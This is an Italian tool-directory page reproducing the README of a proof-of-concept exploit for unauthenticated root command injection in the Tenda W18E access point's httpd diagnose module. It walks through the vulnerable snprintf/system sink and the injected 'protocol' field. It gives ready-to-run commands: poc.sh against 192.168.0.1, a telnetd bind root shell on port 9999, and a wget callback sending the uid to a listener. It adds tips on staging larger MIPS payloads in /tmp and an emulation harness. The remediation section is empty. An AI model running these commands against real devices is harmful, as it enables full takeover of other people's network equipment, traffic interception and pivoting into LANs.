Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/cushz/cve-2026-118238
Sicurezza Sistemi EmbeddedSicurezza IoTAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCommand and ControlSicurezza Hardware e IoTAnalisi del Firmware
GitHubcushz/cve-2026-118238

CVE-2026-118238

Proof-of-concept per l'iniezione di comandi OS root non autenticata nel modulo httpd diagnose dell'AP Tenda W18E, con uno script di exploit auto-verificante e un harness di emulazione QEMU MIPS.

124 giorni faNon ancora revisionato
Condividi
Vedi Repository

Tenda W18E - Iniezione di comandi root non autenticata (modulo diagnose)

Iniezione di comandi del sistema operativo nel web server del Tenda W18E High-Power AP (/bin/httpd). Un attaccante remoto può eseguire comandi shell arbitrari come root, e su un dispositivo in stato di fabbrica / post-reset l'attacco non richiede alcuna autenticazione.

ProdottoTenda W18E High-Power AP
Firmware (testato)US_W18EV2_kf_V16.01.0.20(4766)_HighPower
Componente/bin/httpd (MIPS32 little-endian, musl, basato su GoAhead)
ClasseCWE-78 Iniezione di comandi del sistema operativo → esecuzione di comandi arbitrari come root
EndpointPOST /goform/setModules, POST /goform/getModules (modulo diagnose)
AutenticazioneNessuna finché quickset.done == 0 (fabbrica / post-reset); altrimenti qualsiasi sessione valida
Campo vulnerabileprotocol (anche targetDevice) nell'oggetto JSON diagnose
CVEin attesa

⚠️ Solo test autorizzati. Utilizzare questo strumento contro dispositivi di propria proprietà o per i quali si è esplicitamente autorizzati a eseguire test. Vedere Legale / uso responsabile.


1. La vulnerabilità

La funzionalità "network check / packet capture" memorizza i campi JSON forniti dall'utente nel config store e successivamente li inserisce in un comando shell.

Memorizzazione (nessuna sanificazione): formSetNetCheckTools (httpd @ 0x4e0968) legge il campo JSON protocol e lo scrive nella chiave di configurazione net.check.protocol. Il controllo dei metacaratteri shell del fornitore (prod_system_param_valid) viene applicato al campo adiacente ip ma non a protocol / targetDevice.

Uso (sink): avviando una cattura, do_packet_action (httpd @ 0x4ddbd0) rilegge il valore e costruisce un comando tcpdump con snprintf, per poi eseguirlo tramite doSystemCmd → system(3):

// do_packet_action, simplified
snprintf(cmd, 256, "tcpdump -i %s %s -U -c %d -w %s &", ifname, protocol, num, file);
doSystemCmd(cmd);          // -> vsnprintf() -> system(cmd)  -> /bin/sh -c ...

Qualsiasi metacarattere di shell in protocol viene quindi eseguito. httpd viene eseguito come root, quindi anche il comando iniettato lo è.

Flusso dei dati

POST /goform/setModules  {"diagnose":{... "protocol":";<cmd>;#" ...}}
        │  formSetModules -> cJSON_Parse(request body)
        │  formSetNetCheckTools -> prod_cfm_set_val("net.check.protocol", value)   [no validation]
        ▼
   config store
        │  getModules -> do_packet_action
        │  GetValue("net.check.protocol")  ->  snprintf("tcpdump ... %s ... &", value)
        ▼
   doSystemCmd(cmd) -> system() -> /bin/sh -c   ← injection executes as root

Perché due richieste

setModules si limita a memorizzare il payload; il worker di cattura (e quindi system()) viene avviato dalla successiva getModules. La risposta HTTP di getModules è un campo di stato e riporta "insufficient memory" (内存不足…) anche in caso di successo — quindi non trattare mai la risposta HTTP come il risultato. Verifica fuori banda.


2. Struttura del repository

.
├── poc.sh                  # exploit: 2 requests, self-verifying by default
├── EXPECTED_OUTPUT.txt     # reference capture of a successful run
├── harness/                # reproduce with NO hardware (full-system MIPS emulation)
│   ├── build_and_run.sh    # build emulated rootfs + boot httpd on 127.0.0.1:8080
│   ├── cfmstub.c           # LD_PRELOAD GetValue/SetValue shim (freestanding, 1 file)
│   ├── init_poc.sh         # guest init: mount, seed config, bring up eth0
│   └── sercon.py           # drive the guest serial console
├── LICENSE
└── README.md

3. Eseguilo su hardware reale

  1. Metti l'AP nel suo stato predefinito/di fabbrica (oppure accedi e riutilizza la sessione) e connettiti alla sua LAN. Annota il suo IP (comunemente 192.168.0.1).

  2. Avvia il PoC auto-verificante:

    ./poc.sh 192.168.0.1
    

    Scrive un file di prova nella web root e lo rilegge, stampando ad es. W18E-RCE-OK-uid0 → il comando è stato eseguito come uid 0 (root).

  3. Esegui il tuo comando:

    ./poc.sh 192.168.0.1 'telnetd -l/bin/sh -p9999'      # bind a root shell (telnetd ships on the device)
    telnet 192.168.0.1 9999                               # ... then connect to it
    

    Oppure un callback di rete cieco verso un listener che controlli (sostituisci con il tuo IP LAN):

    # on your machine:  nc -lvnp 4444
    ./poc.sh 192.168.0.1 "wget -qT4 http://YOUR_IP:4444/uid_\$(awk '/^Uid/{print \$2}' /proc/self/status)"
    # your listener shows:  GET /uid_0 HTTP/1.1
    

Limite di dimensione del payload. Il comando viene assemblato con snprintf in un buffer di 256 byte (tcpdump -i <if> <your-payload> -U -c N -w <file> &). Mantieni il comando iniettato sotto i ~110 caratteri, altrimenti la coda viene troncata e non viene eseguito nulla. Per qualsiasi cosa più grande, preparala in anticipo: wget/tftp di uno script o di un binario MIPS-LE in /tmp, chmod +x, eseguilo.

Nessun id/whoami sul dispositivo. Il suo BusyBox è ridotto all'osso (id, whoami, nc non sono compilati). Gli strumenti disponibili includono sh, awk, grep, cat, cut, sed, wget, tftp, telnetd, ping. Dimostra i privilegi di root tramite /proc/self/status (uid 0) come fa il PoC.


4. Eseguirlo contro l'emulatore (senza hardware)

L'harness avvia l'httpd originale e le sue .so fornite in dotazione sotto emulazione MIPS full-system. Solo GetValue/SetValue sono shimmati (cfmstub.c tramite LD_PRELOAD), perché il daemon di configurazione cfmd sul dispositivo necessita della flash NAND che l'emulatore non ha — tutto il codice vulnerabile è firmware non modificato. (QEMU in modalità utente non funziona qui: il server GoAhead multithread va in deadlock su FUTEX_LOCK_PI; è necessario un kernel reale.)

Prerequisiti (Debian/Ubuntu)

sudo apt install qemu-system-mips e2fsprogs python3 gcc-mipsel-linux-gnu
# if gcc-mipsel-linux-gnu is unavailable on your distro, the build script also
# accepts clang + lld:   sudo apt install clang lld

Hai anche bisogno di un kernel MIPSEL malta che avvii un rootfs ext2 — va bene qualsiasi vmlinux.mipsel.4 di firmadyne/FirmAE.

Compilazione + avvio

cd harness
export ROOTFS_SRC=/path/to/_..._.extracted/squashfs-root   # the extracted firmware root
export KERNEL=/path/to/vmlinux.mipsel.4
sudo -E ./build_and_run.sh        # prints: httpd is live at http://127.0.0.1:8080/

Exploit + verifica

../poc.sh 127.0.0.1:8080                                   # self-verifying -> W18E-RCE-OK-uid0
# or read anything out of the guest over its serial console:
sudo python3 sercon.py 'cat /tmp/RCE_OK' 'grep Uid /proc/self/status'

L'output atteso è in EXPECTED_OUTPUT.txt. Nell'emulatore l'host è raggiungibile dal guest all'indirizzo 10.0.2.2 (NAT in modalità user di QEMU), quindi i payload con callback di rete dovrebbero puntare a 10.0.2.2:<port>.


5. Impatto

Esecuzione di comandi remoti come root non autenticata (stato di fabbrica) su un access point: compromissione completa del dispositivo — backdoor persistente, intercettazione del traffico (è letteralmente la funzionalità di cattura dei pacchetti), furto di credenziali/configurazioni, pivot sulla LAN o bricking.


6. Remediation

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    590
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    383
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    309
  • 6

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    283

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →